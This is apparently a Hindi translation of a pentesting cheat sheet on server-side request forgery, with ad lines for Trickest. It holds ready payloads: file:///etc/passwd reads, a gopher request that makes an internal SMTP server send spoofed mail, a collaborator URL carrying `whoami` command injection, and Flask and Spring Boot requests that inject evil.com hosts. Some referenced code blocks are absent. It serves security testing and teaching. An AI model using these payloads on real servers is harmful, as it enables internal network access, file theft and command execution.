Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:
एक सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) भेद्यता तब होती है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को अपने पसंद के डोमेन पर HTTP अनुरोध करने के लिए हेरफेर करता है। यह भेद्यता सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के लिए उजागर करती है।
SSRF कैप्चर करें
आपको जो पहला काम करना है वह है एक SSRF इंटरैक्शन को कैप्चर करना जो आपने उत्पन्न किया है। HTTP या DNS इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित उपकरणों का उपयोग कर सकते हैं:
आमतौर पर आप पाएंगे कि SSRF केवल कुछ व्हाइटलिस्टेड डोमेन या URL में काम कर रहा है। निम्नलिखित पृष्ठ में आपके पास उस व्हाइटलिस्ट को बायपास करने के लिए तकनीकों का संकलन है:
ओपन रीडायरेक्ट के माध्यम से बायपास
यदि सर्वर सही तरीके से सुरक्षित है तो आप वेब पृष्ठ के अंदर एक ओपन रीडायरेक्ट का लाभ उठाकर सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेबपृष्ठ समान डोमेन के लिए SSRF की अनुमति देगा और शायद रीडायरेक्ट का पालन करेगा, आप ओपन रीडायरेक्ट का लाभ उठाकर सर्वर को आंतरिक किसी भी संसाधन तक पहुंचने के लिए मजबूर कर सकते हैं।
यहां और पढ़ें: https://portswigger.net/web-security/ssrf
प्रोटोकॉल
file://
URL स्कीम file:// का संदर्भ दिया गया है, जो सीधे /etc/passwd की ओर इशारा करता है: file:///etc/passwd
dict://
DICT URL स्कीम को DICT प्रोटोकॉल के माध्यम से परिभाषाओं या शब्द सूचियों तक पहुंचने के लिए उपयोग किया जाता है। एक उदाहरण दिया गया है जो एक विशिष्ट शब्द, डेटाबेस, और प्रविष्टि संख्या को लक्षित करने वाले एक निर्मित URL को दर्शाता है, साथ ही एक PHP स्क्रिप्ट का उदाहरण जो हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DICT सर्वर से कनेक्ट करने के लिए संभावित रूप से दुरुपयोग किया जा सकता है: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
इसे सुरक्षित शेल के माध्यम से सुरक्षित फ़ाइल स्थानांतरण के लिए एक प्रोटोकॉल के रूप में पहचाना गया है, एक उदाहरण दिया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को एक दुर्भावनापूर्ण SFTP सर्वर से कनेक्ट करने के लिए कैसे दुरुपयोग किया जा सकता है: url=sftp://generic.com:11111/
TFTP://
ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, जो UDP पर संचालित होता है, का उल्लेख किया गया है जिसमें एक PHP स्क्रिप्ट का उदाहरण है जो TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट के लिए फ़ाइल 'TESTUDPPACKET' के लिए एक TFTP अनुरोध किया गया है: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जो IP नेटवर्क पर वितरित निर्देशिका सूचना सेवाओं का प्रबंधन और पहुंच के लिए इसके उपयोग पर जोर देता है। लोकलहोस्ट पर LDAP सर्वर के साथ इंटरैक्ट करें: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
एक विधि का वर्णन किया गया है जो SSRF भेद्यताओं का लाभ उठाकर लोकलहोस्ट पर SMTP सेवाओं के साथ इंटरैक्ट करने के लिए है, जिसमें आंतरिक डोमेन नामों को प्रकट करने और उस जानकारी के आधार पर आगे की जांच करने के लिए कदम शामिल हैं।
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF बायपास
यदि SSRF curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस writeup में आप file प्रोटोकॉल के माध्यम से पथ ट्रैवर्सल के लिए यह उदाहरण पा सकते हैं:
Gopher प्रोटोकॉल की क्षमता IP, पोर्ट और सर्वर संचार के लिए बाइट्स निर्दिष्ट करने की चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उपयोग करके पेलोड बनाने के लिए। दो अलग-अलग उपयोगों को दर्शाया गया है:
Gopher://
इस प्रोटोकॉल का उपयोग करके आप IP, पोर्ट और बाइट्स निर्दिष्ट कर सकते हैं जिन्हें आप चाहते हैं कि सर्वर भेजे। फिर, आप मूल रूप से एक SSRF का लाभ उठाकर किसी भी TCP सर्वर के साथ संवाद कर सकते हैं (लेकिन आपको पहले सेवा से बात करना जानना होगा)।
भाग्यवश, आप Gopherus का उपयोग करके कई सेवाओं के लिए पेलोड बना सकते हैं। इसके अतिरिक्त, remote-method-guesser का उपयोग Java RMI सेवाओं के लिए gopher पेलोड बनाने के लिए किया जा सकता है।
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
गोफर HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
सर्वरों पर एनालिटिक्स सॉफ़्टवेयर अक्सर आने वाले लिंक को ट्रैक करने के लिए Referrer हेडर को लॉग करता है, एक प्रथा जो अनजाने में अनुप्रयोगों को Server-Side Request Forgery (SSRF) कमजोरियों के लिए उजागर करती है। इसका कारण यह है कि ऐसा सॉफ़्टवेयर Referrer हेडर में उल्लिखित बाहरी URL पर जाने के लिए जा सकता है ताकि संदर्भ साइट की सामग्री का विश्लेषण किया जा सके। इन कमजोरियों को उजागर करने के लिए, Burp Suite प्लगइन "Collaborator Everywhere" की सिफारिश की जाती है, जो एनालिटिक्स उपकरणों द्वारा Referer हेडर को संसाधित करने के तरीके का लाभ उठाता है ताकि संभावित SSRF हमले की सतहों की पहचान की जा सके।
SSRF via SNI data from certificate
एक गलत कॉन्फ़िगरेशन जो किसी भी बैकएंड के साथ कनेक्शन को सक्षम कर सकता है, एक सरल सेटअप के माध्यम से एक उदाहरण Nginx कॉन्फ़िगरेशन के साथ दर्शाया गया है:
इस कॉन्फ़िगरेशन में, सर्वर नाम संकेत (SNI) फ़ील्ड से मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोषित किया जा सकता है। एक शोषण उदाहरण जो openssl कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे internal.host.com, से कनेक्शन को मजबूर करता है, नीचे दिया गया है:
एक पेलोड आज़माने लायक हो सकता है जैसे: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs रेंडरिंग
यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप कुछ JS डाल सकते हैं जो PDF निर्माता (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। यहाँ अधिक जानकारी प्राप्त करें.
SSRF से DoS तक
कई सत्र बनाएं और सत्रों से SSRF का लाभ उठाते हुए भारी फ़ाइलें डाउनलोड करने का प्रयास करें।
SSRF PHP फ़ंक्शन
कमजोर PHP और यहां तक कि वर्डप्रेस फ़ंक्शंस के लिए निम्नलिखित पृष्ठ की जांच करें:
Gopher के लिए SSRF रीडायरेक्ट
कुछ शोषणों के लिए आपको रीडायरेक्ट प्रतिक्रिया भेजने की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:
</details>
Flask **`@`** को प्रारंभिक वर्ण के रूप में उपयोग करने की अनुमति देता है, जो **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम** बनाने और एक नया इंजेक्ट करने की अनुमति देता है। हमले का अनुरोध:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
कमजोर कोड:
यह पता चला कि एक अनुरोध के पथ की शुरुआत ; अक्षर से करना संभव है, जो फिर @ का उपयोग करने और एक नए होस्ट को इंजेक्ट करने की अनुमति देता है। हमले का अनुरोध:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close